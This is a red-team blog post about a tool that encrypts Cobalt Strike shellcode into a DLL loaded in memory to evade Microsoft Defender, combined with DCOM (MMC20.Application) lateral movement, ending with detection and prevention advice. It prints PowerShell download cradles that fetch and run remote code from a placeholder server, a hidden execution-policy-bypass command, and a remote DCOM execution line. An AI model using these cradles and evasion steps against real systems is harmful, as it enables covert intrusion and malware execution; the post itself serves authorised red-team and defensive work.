Blog: How Tos

DCOM abuse and lateral movement with Cobalt Strike

Victor van der Helm 03 Nov 2021

Introduction

When researching lateral movement techniques I came across a post from Raphael Mudge (of Cobalt Strike fame). He details scripting an Aggressor Script for Matt Nelson’s MMC20.Application Lateral Movement technique.

Reading that post spurred me to make my own DCOM based lateral movement tool for Cobalt Strike. But considering that Raphael Mudge had already gone there with the Aggressor Script, I needed to do something a little different, so added antivirus evasion on top of it.

A word about Cobalt Strike C2

Cobalt Strike is a commercial Command&Control (C2) framework used by many red teams and cyber security consultancies around the world. At a high level, the idea behind a C2 framework is to allow for the management of red team activities. For me, it’s best feature is being able to keep an organised view of a victim organization’s network.

My colleague, Neil Lines (@myexploit2600), wrote a great introductory blog post about Cobalt Strike, which I recommend you read here if you are new to it.

While Cobalt Strike is extremely useful and allows for an abundance of possibilities, some of the “out-the-box” tooling it provides does not take the current demands of a red team’s Operational Security (OPSEC) into consideration.

Therefore, currently, if trying to remain stealthy while on a red team engagement, it is useful to have your own custom tools that can duck and weave around existing defensive solution such as SIEM, AV and EDR.

When creating such tooling it is useful to use the latest researched techniques. These can be learnt through certifications or read about on websites such as MITRE ATT&CK. Or if you are lucky, you get to pick the brains of talented individuals such as @_EthicalChaos_.

Evading Microsoft Defender – reflective DLL injection / PE Injection

It is possible to bypass certain AVs by encoding executables containing payloads with tools such as Msfvenom. Alternatively, using tools such as Shellter or Veil to create custom Portable Executables (PE) capable of bypassing common anti-virus solutions. These tools also allow you to inject payloads into legitimate software to even better mask your malicious code from the AV.

These tools can be successful at performing their task, however if one used the same binary several times there is a good chance it would be added to existing AV/EDR signature databases. Using websites like VirusTotal to test the detection rate of your executables will also likely speed up the process of your malware getting added to a AV signature database. In general, uploading binaries onto a target currently is a bit of an unnecessary risk, therefore I wanted to look into ways of performing lateral movement with malware that does not need to be transferred to the disk of the target.

The great thing about Cobalt Strike is the option to execute .NET binaries in memory of the target (execute-assembly), without needing to transfer it. Following the same idea, I wanted to be able to transfer malware to the target, that would execute in memory and avoid the unnecessary triggering of AV by the fact that it is present on the disk. I came across a technique called reflective DLL injection and thought it was genius.

Reflective DLL injection involved loading a .NET Dynamic Link Library (DLL) into the memory of the target. Common tooling such as powershell can be used to load the DLL and allows the execution of your choice of methods available within the DLL. This results in diskless malware execution. I liked the concept however, performing the preparation for such a task was slightly lengthy, therefore my programmer instincts kicked in and I thought why not create some automation.

You can read more about Reflective DLL injection here.

More about different malware injection techniques here.

AV_Bypass_Framework_V3

When performing reflective DLL injection, two components are required. A shellcode runner and a loader. The loader is usually the code that will download the malicious DLL into the memory of the target and call the desired functions from within the DLL with the Assembly.Load() – the built-in functionality in the .NET framework to dynamically load memory-only modules. The runner is typically a PE, in this case a malicious DLL that will be loaded into the target’s memory via the loader and executed to launch the desired payload.

Now that some background information is out of the way, I shall go back to talking about what I developed. As you can tell from the name, I have looped through a few iterations of the tool. The idea was to automate the malicious DLL creation that could then be injected in-memory of a target, to launch a payload. In my case I wanted to focus on Cobalt Strike beacon payloads, however theoretically it should work with any C# formatted shellcode (e.g 0x90, 0xFE, etc).

The tool AV_Bypass_Framework_V3 takes in a base64 encoded string of C# formatted shellcode and will spit out a DLL and PowerShell loader that can be used for your malicious purposes. This can be done like so:

AV_Bypass_Framework_V3.exe <PATH_TO_B64_SHELLCODE_FROM_CSSG_CNA>

When using Cobalt Strike, there is a handy Aggressor Script CSSG which can extend the payload generation capabilities of the teamserver, such that you can generate C# formatted shellcode for either stageless or staged listeners. To use that output with the AB_Bypass_Framework_V3 tool, all you would need to do is base64 encode the generated shellcode, so that it can be fed into the tool as an argument. (Visual steps on how to reproduce this aspect can be found under the DCOM section below)

It takes the base64 encoded shellcode, AES-128bit encrypts it, passes the AES encrypted shellcode into the about-to-be-created-DLL and compiles the .NET class library in order the save the malicious DLL within the folder AV_Bypass_Framework_V3 was executed in. This can be seen below with the following code:

This section handles the base64 encoded C# formatted shellcode. As you can see (lines 151-160) I check to see if the command line argument file containing the base64 shellcode exists. Line 175 then reads in the base64 payload from the file:

To perform AES-128bit encryption you need to firstly import the System.Security.Cryptography library. You can then generate an IV and a Key that will be used as part of the AES encryption and decryption process (Lines 162-172). We can then call the AES encryption method and run our payload string through it, this will generate an array of encrypted bytes (Method call – line 180 / Encryption method  (lines 70-101))

Finally, we can pass in our AES-128bit encrypted shellcode, AES IV and AES Key into a DLL skeleton (lines 201-204). The DLL skeleton needs to have code in it to handle the AES decryption (lines 249-283). Once the AES decryption method defined in the DLL skeleton, we can call the AES decryption method (residing in the DLL), base64 decode the AES decrypted output and load the plain C# formatted shellcode into a byte array (lines 301-307).

The next stage involves creating memory space within the hosting process (PowerShell on the target) in order to perform the reflective DLL injection. This can be done with the kernel32.dll VirtualAlloc function, copying our shellcode into the created space with the Marshall.Copy function and creating a new thread with the CreateThread function. The final kernel32.dll function called is that of WaitForSingleObject, which will run the thread indefinitely (until user termination of the target’s PowerShell process or until the Cobalt Strike Beacon is exited by the attacker) (lines 313-317). Lastly, we can compile the DLL skeleton within our application (lines 322-330).

The DLL itself (runner), once compiled, will now contain a base64 AES encrypted shellcode string and the AES IV/KEY. This will then be decrypted once the main function is called by a PowerShell loader (a PowerShell loader is created when crafting the DLL) and injected into the host process (in this case the PowerShell process). You can see how to declare these functions here and you can read up about the functions used to enable the process injection here.

As mentioned, after running the AV_Bypass_Framework_V3 tool, the DLL is created along with a PowerShell loader:

$data = (New-Object System.Net.WebClient).DownloadData('<path_to_CS_teamserver_hosted_AutoGen.dll>');
$assem = [System.Reflection.Assembly]::Load($data);
$class = $assem.GetType(\"ClassLibrary2.l33t\");
$method = $class.GetMethod(\"runner\");
$method.Invoke(0, $null);

At this stage if you were not pairing this up with Cobalt Strike or the DCOM_AV_EXEC tool, you could plainly host the malicious DLL (runner) and cradle.ps1 script (loader) on a web server. Point the cradle.ps1 (loader) to your hosted DLL URL (see above – <path_to_CS_teamserver_hosted_AutoGen.dll>). And once you have found an attack vector on your target, you could launch your payload (reverse shell / C2 agent / etc) by simply using a PowerShell IEX command for example, which would download and execute your loader, and subsequently your DLL. Two methods below:

iex(new-object net.webclient).downloadstring('https://YOUR_WEBSERVER_IP/cradle.ps1')

powershell.exe -w hidden -nop -exec Bypass -enc <encoded_b64_iex_command>

So you may be wondering, how does this bypass AV (in this case Microsoft Defender)? Well, I believe it is a combination of several things that makes this possible. The following are quite important: 1) The obvious one, avoid placing anything on disk. As by default an AV solution with real time scanning would analyse the file for malicious content. 2) Encrypting or encoding shellcode goes a long way, as malicious shellcode in plain format would get detected. Whether in memory or on disk. 3) Find a way to only run your malicious functions on specific function calls and not as part of a main method – this could help fool heuristics

Moving along, let us take a look at what we can chain the above tool with.

DCOM

Distributed Component Object Model (DCOM) is a programming construct that allows a computer to run programs over the network on a different computer as if the program was running locally. This is a proprietary Microsoft software component that allows COM objects to communicate with each other over the network.

DCOM is integrated into the Windows OS and allows for many Windows services communicate – like Microsoft Management Console (MMC) or Microsoft Office products. Since DCOM can run programs on other computers, hackers can leverage it for lateral movement attacks (as showcased by Matt Nelson and Raphael Mudge) through your network, gaining access to more data. This activity can be difficult to detect. And that it why it caught my eye.

As I wanted to add AV evasion to existing DCOM lateral movement capabilities, and I did not particularly like the look of Sleep – the Cobalt Strike Aggressor Script language, I decided to default to good old C#. The DCOM_AV_EXEC tool can be found here.

In essence, once you have access to a domain joined machine DCOM lateral movement is quite easy. Here are a few PowerShell commands you could use to enumerate applications thats support DCOM:

Get-CimInstance -class Win32_DCOMApplication | select appid,name

It is also then possible to list the supported methods of a DCOM Application like so:

$obj = [activator]::CreateInstance([type]::GetTypeFromCLSID("<CLSID>"))
$obj | get-member

We will focus on the findings of Matt Nelson, who discovered that one of the more interesting and common applications is the Microsoft Management Console (MMC) – which has a class called “MMC20.Application”. This application class comes with a method named ExecuteShellCommand() under Document.ActiveView. He discovered that as an admin you could remotely interact with the DCOM and PowerShell using [activator]::CreateInstance([type]::GetTypeFromProgID.

You can therefore simply run a command on a remote host (with the pre-requisite of having local administrator access):

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "<target>")).Document.ActiveView.
ExecuteShellCommand("c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", $null,"<some_powershell_command>", "7")

I therefore took Matt Nelson’s findings and paired it with the functionality of the AV_Bypass_Framework_V3 to have a DCOM lateral movement tool that could bypass Microsoft Defender. The DCOM_AV_EXEC tool implements the above command and checks that you have provided a URL to the PowerShell loader that was created (and modified by you – don’t forget to add the URL to the runner) as part of the AV_Bypass_Framework_V3.

The full combined usage of both AV_DCOM_EXEC and the AV_Bypass_Framework_V3 through a C2 like Cobalt Strike can be observed below:

Examples Usage – TCP Listener Payload:

Create Shellcode with CCSG – Encoding: b64 | Format: 0x90, 0x8e, ..

Save CCSG output to file and run it through AV_Bypass_Framework_V3 (needs compiling first) on Windows:

AV_Bypass_Framework_V3.exe <PATH_TO_B64_SHELLCODE_FROM_CSSG_CNA>

Copy outputted cradles.ps1 and AutoGen.dll to Cobalt Strike teamserver host. Host the AutoGen.dll in the teamserver (Host File).

Following this edit the cradle.ps1 file to point to the teamserver hosted AutoGen.dll file URL:

Host the cradle.ps1 file on the Cobalt Strike teamserver too:

Cobalt Strike sites should now show both hosted files:

Execution. Compile and upload the DCOM_AV_EXEC to the Cobalt Strike teamserver. Then:

OPSEC considerations

As far as I am aware DCOM lateral movement will not be registered by most EDR products. However, what gets executed on the target thereafter will most likely trigger an EDR solution. This is because many EDR solutions are set to monitor NTDLL.DLL which is accessed by kernel32.dll (we used kernel32.dll functions to perform the process injection in AV_Bypass_Framework_V3). Some AV products and EDR solutions will also scan the memory space for malicious code. There are ways to bypass EDR NTDLL.DLL monitoring by unhooking the EDR from processes and ways to hide from memory scanning (by swapping the injected DLL memory space between RWX and RW), but both these methods are out-of-scope for this blog post.

The greatest risk of getting caught would be via a SOC utilizing a SIEM solution. The victim host svchost spawns mmc.exe after the execution of PowerShell commands via the DCOM MMC20.Application class. DCOM lateral movement through Office applications such as Excel could also be detected as explained here.

Prevention

To mitigate this attack, defenders can disable DCOM, block RPC traffic between workstations, and look for a child process spawning off of mmc.exe. The Windows Firewall will block this technique by default (therefore yet another reason to enable host based firewalls). As an additional mitigation, ensure the “Microsoft Management Console” isn’t an enabled rule.

Preventing lateral movement through Office applications, would require for Office COM objects to be disabled.

Limitations of the tool

I am unsure as to how well these tools would fair against 3rd party commercial AV/EDR/SIEM solutions. Antivirus solutions with in-memory scanning may flag my DLL as malicious in the future and add it to signature databases. A way to potentially bypass that would be to implement unique obfuscation on each DLL generated by AV_Bypass_Framework_V3.

The DCOM_AV_EXEC tool currently only supports lateral movement via the MMC20.Application class. You can modify the existing code to support them.

Other possible techniques are detailed here and here.

References and Special Thanks

You can find me on Twitter @D0y0u3v3nl33t.